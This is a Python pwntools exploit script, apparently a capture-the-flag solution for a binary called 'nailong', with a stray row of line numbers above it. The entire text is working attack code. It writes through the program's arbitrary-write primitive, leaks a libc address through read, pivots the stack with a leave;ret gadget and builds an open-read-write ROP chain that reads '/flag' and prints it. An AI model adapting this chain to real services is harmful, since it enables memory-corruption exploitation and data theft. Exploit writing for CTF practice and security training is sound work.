1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| from pwn import * context(arch='amd64', os='linux',log_level='debug') elf = ELF('./nailong') libc = ELF('./libc6_2.35-0ubuntu3.8_amd64.so') #sh = process('./nailong') sh = remote('ip',port) #gdb.attach(sh,'b* 0x401AF0\nc') bypass_addr = 4210784 bss_addr = 4211104 read_addr = 4210888 ret_addr_1 = 0x0040101a ret_addr_2 = 0x00000000 bss_addr_1 = 0x004041A0 bss_addr_2 = 0x00000000 flag_addr_1 = 0x004041C0 flag_addr_2 = 0x00000000 exit_addr = 4210872
sh.recvuntil('offset:') rbp_offset_addr = int(sh.recvuntil('end')[:-3].decode()) if rbp_offset_addr % 8 != 0: rbp_offset_addr += 8 - (rbp_offset_addr % 8) success(hex(rbp_offset_addr))
sh.sendlineafter('xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma\n',str(-1)) sh.sendlineafter('chose 4 bin/sh\n',str(2)) sh.sendafter('what you want do?\n',str(bypass_addr)) sh.sendafter('read you want\n',p32(0x4017A8))
sh.sendlineafter('chose 4 bin/sh\n',str(2)) sh.sendafter('what you want do?\n',str(bss_addr)) sh.sendafter('read you want\n',b'/fla') bss_addr += 0x4
sh.sendlineafter('chose 4 bin/sh\n',str(2)) sh.sendafter('what you want do?\n',str(bss_addr)) sh.sendafter('read you want\n',b'g\x00\x00\x00') rbp = rbp_offset_addr - 0x200 rbp +=0x8
#success(hex(rbp)) for i in range(1,65): sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(rbp)) sh.sendafter('read you want\n', p32(ret_addr_1)) rbp += 0x4 sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(rbp)) sh.sendafter('read you want\n', p32(ret_addr_2)) rbp +=0x4
sh.sendlineafter('chose 4 bin/sh\n',str(1)) sh.sendafter('what you want do?\n',str(read_addr)) read_got = u64(sh.recv(6).ljust(8,'\x00'.encode())) success(hex(read_got)) #success(hex(rbp)) offset = read_got - libc.symbols['read'] libc.address = offset pop_rdi = 0x000000000002a3e5 + offset pop_rdi_1 = pop_rdi & 0xFFFFFFFF pop_rdi_2 = (pop_rdi >> 32) & 0xFFFFFFFF leave_ret = 0x000000000004da83 + offset leave_ret_1 = leave_ret & 0xFFFFFFFF leave_ret_2 = leave_ret >> 32 pop_rsi = 0x000000000002be51 +offset pop_rsi_1 = pop_rsi & 0xFFFFFFFF pop_rsi_2 = (pop_rsi >> 32) & 0xFFFFFFFF pop_rdx = 0x0000000000401650 pop_rdx_1 = pop_rdx & 0xFFFFFFFF pop_rdx_2 = (pop_rdx >> 32) & 0xFFFFFFFF open_addr = libc.symbols['open'] open_addr_1 = open_addr & 0xFFFFFFFF open_addr_2 = (open_addr >> 32) & 0xFFFFFFFF read_addr = libc.symbols['read'] read_addr_1 = read_addr & 0xFFFFFFFF read_addr_2 = (read_addr >> 32) & 0xFFFFFFFF write_addr = libc.symbols['write'] write_addr_1 = write_addr & 0xFFFFFFFF write_addr_2 = (write_addr >> 32) & 0xFFFFFFFF sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(exit_addr)) sh.sendafter('read you want\n', p32(leave_ret_1)) exit_addr +=0x4 sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(exit_addr)) sh.sendafter('read you want\n', p32(leave_ret_2)) def rop_chain(v1, v2, rbp): sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(rbp)) sh.sendafter('read you want\n', p32(v1)) rbp += 0x4 sh.sendlineafter('chose 4 bin/sh\n', str(2)) sh.sendafter('what you want do?\n', str(rbp)) sh.sendafter('read you want\n', p32(v2)) rbp += 0x4 return rbp rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp) rbp = rop_chain(bss_addr_1, bss_addr_2, rbp) rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp) rbp = rop_chain(0, 0, rbp) rbp = rop_chain(open_addr_1, open_addr_2, rbp) rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp) rbp = rop_chain(3, 0, rbp) rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp) rbp = rop_chain(flag_addr_1, flag_addr_2, rbp) rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp) rbp = rop_chain(0x50, 0, rbp) rbp = rop_chain(read_addr_1, read_addr_2, rbp) rbp = rop_chain(pop_rdi_1, pop_rdi_2, rbp) rbp = rop_chain(1, 0, rbp) rbp = rop_chain(pop_rsi_1, pop_rsi_2, rbp) rbp = rop_chain(flag_addr_1, flag_addr_2, rbp) rbp = rop_chain(pop_rdx_1, pop_rdx_2, rbp) rbp = rop_chain(0x50, 0, rbp) rbp = rop_chain(write_addr_1, write_addr_2, rbp) sh.sendlineafter('chose 4 bin/sh\n', str(5)) sh.interactive() #0x7fffc9f571dfs #140736581693919
|